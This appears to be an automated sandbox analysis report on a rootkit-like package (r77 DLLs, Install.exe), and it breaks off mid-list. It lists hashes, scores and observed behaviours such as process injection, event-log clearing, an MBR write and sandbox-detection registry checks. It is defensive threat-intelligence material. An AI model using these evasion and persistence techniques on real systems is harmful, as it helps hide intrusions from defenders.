Overview
overview
10Static
static
3$77-Example.exe
windows7-x64
1$77-Example.exe
windows10-2004-x64
1BytecodeApi.UI.dll
windows7-x64
1BytecodeApi.UI.dll
windows10-2004-x64
1BytecodeApi.dll
windows7-x64
1BytecodeApi.dll
windows10-2004-x64
1Helper32.dll
windows7-x64
3Helper32.dll
windows10-2004-x64
3Helper64.dll
windows7-x64
1Helper64.dll
windows10-2004-x64
1Install.exe
windows7-x64
10Install.exe
windows10-2004-x64
10TestConsole.exe
windows7-x64
3TestConsole.exe
windows10-2004-x64
3r77-x64.dll
windows7-x64
1r77-x64.dll
windows10-2004-x64
1r77-x86.dll
windows7-x64
3r77-x86.dll
windows10-2004-x64
3Analysis
-
max time kernel
65s -
max time network
69s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
29-10-2024 00:10
Static task
static1
Behavioral task
behavioral1
Sample
$77-Example.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
$77-Example.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
BytecodeApi.UI.dll
Resource
win7-20240708-en
Behavioral task
behavioral4
Sample
BytecodeApi.UI.dll
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
BytecodeApi.dll
Resource
win7-20241023-en
Behavioral task
behavioral6
Sample
BytecodeApi.dll
Resource
win10v2004-20241007-en
Behavioral task
behavioral7
Sample
Helper32.dll
Resource
win7-20240903-en
Behavioral task
behavioral8
Sample
Helper32.dll
Resource
win10v2004-20241007-en
Behavioral task
behavioral9
Sample
Helper64.dll
Resource
win7-20240903-en
Behavioral task
behavioral10
Sample
Helper64.dll
Resource
win10v2004-20241007-en
Behavioral task
behavioral11
Sample
Install.exe
Resource
win7-20241023-en
Behavioral task
behavioral12
Sample
Install.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral13
Sample
TestConsole.exe
Resource
win7-20240903-en
Behavioral task
behavioral14
Sample
TestConsole.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral15
Sample
r77-x64.dll
Resource
win7-20241010-en
Behavioral task
behavioral16
Sample
r77-x64.dll
Resource
win10v2004-20241007-en
Behavioral task
behavioral17
Sample
r77-x86.dll
Resource
win7-20240903-en
Behavioral task
behavioral18
Sample
r77-x86.dll
Resource
win10v2004-20241007-en
General
-
Target
Install.exe
-
Size
163KB
-
MD5
1a7d1b5d24ba30c4d3d5502295ab5e89
-
SHA1
2d5e69cf335605ba0a61f0bbecbea6fc06a42563
-
SHA256
b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5
-
SHA512
859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa
-
SSDEEP
3072:TQpsSyjlzA664oL8tIoDJxGtIVORPrdAHjl3+uwF+iBDZ/wXxnTFKe8kaz:TQpsSyjlzfnoNGxGo6PrdAHwtMxn4e8N
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.EXEdescription pid Process procid_target PID 3036 created 612 3036 powershell.EXE 5 -
Sets service image path in registry 2 TTPs 1 IoCs
Processes:
WaaSMedicAgent.exedescription ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
Processes:
svchost.exedescription ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx svchost.exe -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
svchost.exedescription ioc Process File opened (read-only) \??\U: svchost.exe File opened (read-only) \??\W: svchost.exe File opened (read-only) \??\Z: svchost.exe File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\X: svchost.exe File opened (read-only) \??\Y: svchost.exe File opened (read-only) \??\B: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\O: svchost.exe File opened (read-only) \??\Q: svchost.exe File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\J: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\T: svchost.exe File opened (read-only) \??\E: svchost.exe File opened (read-only) \??\I: svchost.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
Processes:
wmiprvse.exedescription ioc Process File opened for modification \??\PHYSICALDRIVE0 wmiprvse.exe -
Drops file in System32 directory 11 IoCs
Processes:
powershell.EXEsvchost.exesvchost.exedescription ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.EXEdescription pid Process procid_target PID 3036 set thread context of 3056 3036 powershell.EXE 88 -
Drops file in Windows directory 8 IoCs
Processes:
svchost.exeTrustedInstaller.exedescription ioc Process File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File created C:\Windows\Logs\CBS\CBS.log TrustedInstaller.exe File opened for modification C:\Windows\Logs\CBS\CBS.log TrustedInstaller.exe File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
Install.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Install.exe -
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
mousocoreworker.exedescription ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
mousocoreworker.exewmiprvse.exedescription ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.EXEWaaSMedicAgent.exesvchost.exesvchost.exemousocoreworker.exedescription ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "00180011DE871666" svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "00180011DE871666" mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion mousocoreworker.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414} mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft mousocoreworker.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore mousocoreworker.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\00180011DE871666 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000d8c5ae66c44e0548aebe78fbbf17ad2100000000020000000000106600000001000020000000300663523d93c1c85d08a3c309d72a2bea0368d47f24492cfb41dd441017d29a000000000e800000000200002000000095eaa2357d1dd6410a04dc08ebc79992b86cb54e244ef1c210f93761de9ac0e7800000009f306bf7e4c24fd307e4df5f663aa60eb43da54b3690890a85597d82d21479ccceed2c279f1b79e4d131f0667667d6becfe1249b2bff43ccb34cfd17d83fa5516d8ac5314ed67f43d30603b8fac1c6fc1a7b63a58ee4ca1d6034500c6716a443a86c831eb0f0b17efe5bb575cc263e701ced54749c992be222103a0eaba8f28a40000000f079204afafc884af38e39e2d7cc8a9d7058357e29d03e6606c7c9a2a645a4e85ec740e61dc0f103c1f806412379c36e18cc506db6e598b0aad4b8d980f91bc9 mousocoreworker.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000d8c5ae66c44e0548aebe78fbbf17ad2100000000020000000000106600000001000020000000dc7b5d22a1abeb892076c5861a763ee2ccfdf79551dbff9b41f8cc9bfb5c89d3000000000e8000000002000020000000f660d51d843efd13eee1fbbe634d75095faebe4cdbe643b36d157b4e50a69869b003000085bf9c507550d7332eb4bf0283158bf6b8e5d0eee2dab8c92109abbc9d3aeaeda56d16b0cf2205b0746a0b95aeb2f04c16b362bd3de767d39a92854ddcd64163b4805b7cb2a7b9576e39226307218d490ea4a6ea35840f5253790cae4684641771733a51188e51d8153ed941906ff86c16711d662eab8d4aa072db4b570347181a809a3a4fa9d7a872e0dfdbe42a30162210f0d22afe29c4bf3fcf1b1263489dd6aa645217f95a4f7c33591bc67fc245dfce1da0ea153a93a35f866dba109b5ca88d84b3f4e75990bd5392eb61302c6178199cf26dd22f46da9404a945c897d57b72fc7295f9c9d821af5cd2d820131c2315a453d962f75665ee7529def246c2942836a306f2a16bc12a9005cdd7a5dff56351cb477f5b7742ad39924fdf961e7e29b2876a4233d15eb616f664d4422df8fdccd5fd1ef853943aadb59b57e60e2a98097d9e16b90414b770ec4b94dfbb405380037ca3841f8ebd7d223628a399cec7dc7d40c9fb53577cdcc916c48d0ad829ba7e0ef723560063cf7710269812a85f35698de7042f731911985f07ffa01f2b93664c62c5d9eb24bd5d516baf2707ba7495ee334ea8963de5c9e16c848767a87e89ab4cea65704a98f8561f1a72eee09920473968b2de13948c7db432c9b94770bf88d91a26bef0981948bbacd825f40c1f8737f1d641ffc01bbba4d5a063f8fd12e46a72c231dd0beab3d8c6d378a5e911de0a151787831da2aafb82b72cda3e72d1dfdaec83272adc41c8b7bd5f5efe7f5795697904425073b0da9945760e6caaa8581e171b5d95bfdcceeadebea58d385a45fae96348084757b72c95a1af7cc9ad42dcec3ceb3ed2ca143f85fa7387bec580b4ca386c9a06802393fbab4f8cdd07315dd2f8fba7d989f761f050063be371a290f89c8ee5fea2d67cac524f83b0e657cae199b31b85a50e7242be5ead4ba38c0e26aa21833369c957b0bbb43f674d83ff4b38b05ee2c9c17dfc2be0f5d50ef45f5ceb1c21c64f7dea0662002be8ca38f85fa9aea57a4f39aa4929ba911b8704cd7d78ceae8a939951547b6e3b72672c93365c3c9b5e5017b20991fd0fd6a880b70f6be02fd8a1b3a5fd79b81ab30d008e7840232d75258a419fe0077bc9a9bf1d5114e4cd0bf437265947a4e268007edd765cc8c8181301697e39401ac188c22e7cc272d0bd68052413f3a72618d3f21ca4418af48d78f440fc34bbdd3a0dcf35ea0d7fe2f1a8008ea52ba9124050f20c44c96f44367566d1b4cd84e068d01596f6888f791523e8c1b46ab761ed35115c1cbfcbee905b0db1f7ad640cf1b45eae902ae0efd175298e5e400000003cc8de6a724afe0914aa9f8bffefc44405e1e29f488a5cea476a5b324128ac9695867784c90b63ad8c9323dbdeb3cf024824bbc34734f8e6323de36408f56bab mousocoreworker.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe -
Modifies registry class 3 IoCs
Processes:
Explorer.EXEdescription ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ Explorer.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.EXEdllhost.exewmiprvse.exepid Process 3036 powershell.EXE 3036 powershell.EXE 3036 powershell.EXE 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3236 wmiprvse.exe 3236 wmiprvse.exe 3236 wmiprvse.exe 3236 wmiprvse.exe 3236 wmiprvse.exe 3236 wmiprvse.exe 3236 wmiprvse.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe 3056 dllhost.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid Process 3488 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.EXEdllhost.exesvchost.exesvchost.exesvchost.exedescription pid Process Token: SeDebugPrivilege 3036 powershell.EXE Token: SeDebugPrivilege 3036 powershell.EXE Token: SeDebugPrivilege 3056 dllhost.exe Token: SeAuditPrivilege 2736 svchost.exe Token: SeShutdownPrivilege 1000 svchost.exe Token: SeCreatePagefilePrivilege 1000 svchost.exe Token: SeShutdownPrivilege 1000 svchost.exe Token: SeCreatePagefilePrivilege 1000 svchost.exe Token: SeShutdownPrivilege 1000 svchost.exe Token: SeCreatePagefilePrivilege 1000 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2052 svchost.exe Token: SeIncreaseQuotaPrivilege 2052 svchost.exe Token: SeSecurityPrivilege 2052 svchost.exe Token: SeTakeOwnershipPrivilege 2052 svchost.exe Token: SeLoadDriverPrivilege 2052 svchost.exe Token: SeBackupPrivilege 2052 svchost.exe Token: SeRestorePrivilege 2052 svchost.exe Token: SeShutdownPrivilege 2052 svchost.exe Token: SeSystemEnvironmentPrivilege 2052 svchost.exe Token: SeManageVolumePrivilege 2052 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2052 svchost.exe Token: SeIncreaseQuotaPrivilege 2052 svchost.exe Token: SeSecurityPrivilege 2052 svchost.exe Token: SeTakeOwnershipPrivilege 2052 svchost.exe Token: SeLoadDriverPrivilege 2052 svchost.exe Token: SeSystemtimePrivilege 2052 svchost.exe Token: SeBackupPrivilege 2052 svchost.exe Token: SeRestorePrivilege 2052 svchost.exe Token: SeShutdownPrivilege 2052 svchost.exe Token: SeSystemEnvironmentPrivilege 2052 svchost.exe Token: SeUndockPrivilege 2052 svchost.exe Token: SeManageVolumePrivilege 2052 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2052 svchost.exe Token: SeIncreaseQuotaPrivilege 2052 svchost.exe Token: SeSecurityPrivilege 2052 svchost.exe Token: SeTakeOwnershipPrivilege 2052 svchost.exe Token: SeLoadDriverPrivilege 2052 svchost.exe Token: SeSystemtimePrivilege 2052 svchost.exe Token: SeBackupPrivilege 2052 svchost.exe Token: SeRestorePrivilege 2052 svchost.exe Token: SeShutdownPrivilege 2052 svchost.exe Token: SeSystemEnvironmentPrivilege 2052 svchost.exe Token: SeUndockPrivilege 2052 svchost.exe Token: SeManageVolumePrivilege 2052 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2052 svchost.exe Token: SeIncreaseQuotaPrivilege 2052 svchost.exe Token: SeSecurityPrivilege 2052 svchost.exe Token: SeTakeOwnershipPrivilege 2052 svchost.exe Token: SeLoadDriverPrivilege 2052 svchost.exe Token: SeSystemtimePrivilege 2052 svchost.exe Token: SeBackupPrivilege 2052 svchost.exe Token: SeRestorePrivilege 2052 svchost.exe Token: SeShutdownPrivilege 2052 